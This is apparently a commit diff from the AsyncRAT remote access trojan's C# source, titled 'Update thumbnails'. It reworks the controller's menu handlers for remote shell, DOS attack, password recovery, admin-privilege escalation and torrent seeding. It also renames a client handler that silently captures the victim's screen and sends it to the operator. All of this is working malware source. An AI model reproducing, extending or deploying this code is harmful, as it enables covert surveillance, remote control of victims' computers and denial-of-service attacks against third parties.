Update thumbnails

This commit is contained in:
NYAN CAT 2019-05-23 16:52:14 +03:00
parent b9f90731af
commit ced6449752
5 changed files with 134 additions and 106 deletions

View File

@ -88,8 +88,6 @@ namespace AsyncRAT_Sharp
{
portsFrm.ShowDialog();
}
Properties.Settings.Default.Reload();
#endif
@ -203,6 +201,10 @@ namespace AsyncRAT_Sharp
}
}
private void GetThumbnails(object obj)
{
if (Program.form1.listView3.InvokeRequired)
{
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
{
if (listView1.Items.Count > 0)
{
@ -219,6 +221,8 @@ namespace AsyncRAT_Sharp
}
catch { }
}
}));
}
}
private void STOPToolStripMenuItem_Click(object sender, EventArgs e)
@ -524,11 +528,6 @@ namespace AsyncRAT_Sharp
catch { }
}
private void SEEDTORRENTToolStripMenuItem_Click(object sender, EventArgs e)
{
}
private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@ -674,14 +673,6 @@ namespace AsyncRAT_Sharp
catch { }
}
private readonly FormDOS formDOS = new FormDOS();
private void DOSAttackToolStripMenuItem_Click(object sender, EventArgs e)
{
formDOS.Show();
}
private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
@ -716,39 +707,6 @@ namespace AsyncRAT_Sharp
catch { }
}
private void RemoteShellToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shell";
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
this.BeginInvoke((MethodInvoker)(() =>
{
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
if (shell == null)
{
shell = new FormShell
{
Name = "shell:" + client.ID,
Text = "shell:" + client.ID,
F = this,
C = client
};
shell.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}));
}
}
}
catch { }
}
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@ -864,12 +822,6 @@ namespace AsyncRAT_Sharp
}
}
private void SeedTorrentToolStripMenuItem1_Click(object sender, EventArgs e)
{
FormTorrent formTorrent = new FormTorrent();
formTorrent.Show();
}
private void GetAdminPrivilegesToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@ -1083,5 +1035,79 @@ namespace AsyncRAT_Sharp
catch { }
}
}
private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
try
{
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID);
if (Directory.Exists(fullPath))
{
Process.Start(fullPath);
}
}
}
catch { }
}
}
private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
using (FormTorrent formTorrent = new FormTorrent())
{
formTorrent.ShowDialog();
}
}
}
private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e)
{
try
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shell";
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
this.BeginInvoke((MethodInvoker)(() =>
{
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
if (shell == null)
{
shell = new FormShell
{
Name = "shell:" + client.ID,
Text = "shell:" + client.ID,
F = this,
C = client
};
shell.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}));
}
}
}
catch { }
}
private readonly FormDOS formDOS = new FormDOS();
private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e)
{
if (listView1.Items.Count > 0)
{
formDOS.Show();
}
}
}
}

View File

@ -1,5 +1,6 @@
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
@ -25,19 +26,15 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
client.LV2.ImageKey = client.ID;
Program.form1.listView3.BeginUpdate();
Program.form1.listView3.Items.Insert(0, client.LV2);
Program.form1.listView3.EndUpdate();
Program.form1.listView3.Items.Add(client.LV2);
}
}
else
{
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{
Program.form1.listView3.BeginUpdate();
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
Program.form1.listView3.EndUpdate();
}
}
}));

View File

@ -1,33 +0,0 @@
using Client.MessagePack;
using Client.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Client.Handle_Packet
{
public class HandleGetScreenShot
{
public HandleGetScreenShot()
{
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
using (Graphics g = Graphics.FromImage(bmp))
using (MemoryStream memoryStream = new MemoryStream())
{
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
thumb.Save(memoryStream, ImageFormat.Jpeg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
ClientSocket.Send(msgpack.Encode2Bytes());
}
bmp.Dispose();
}
}
}

View File

@ -0,0 +1,38 @@
using Client.MessagePack;
using Client.Sockets;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Client.Handle_Packet
{
public class HandleThumbnails
{
public HandleThumbnails()
{
try
{
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
using (Graphics g = Graphics.FromImage(bmp))
using (MemoryStream memoryStream = new MemoryStream())
{
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
thumb.Save(memoryStream, ImageFormat.Jpeg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
ClientSocket.Send(msgpack.Encode2Bytes());
}
bmp.Dispose();
}
catch { }
}
}
}

View File

@ -41,7 +41,7 @@ namespace Client.Handle_Packet
case "thumbnails":
{
new HandleGetScreenShot();
new HandleThumbnails();
break;
}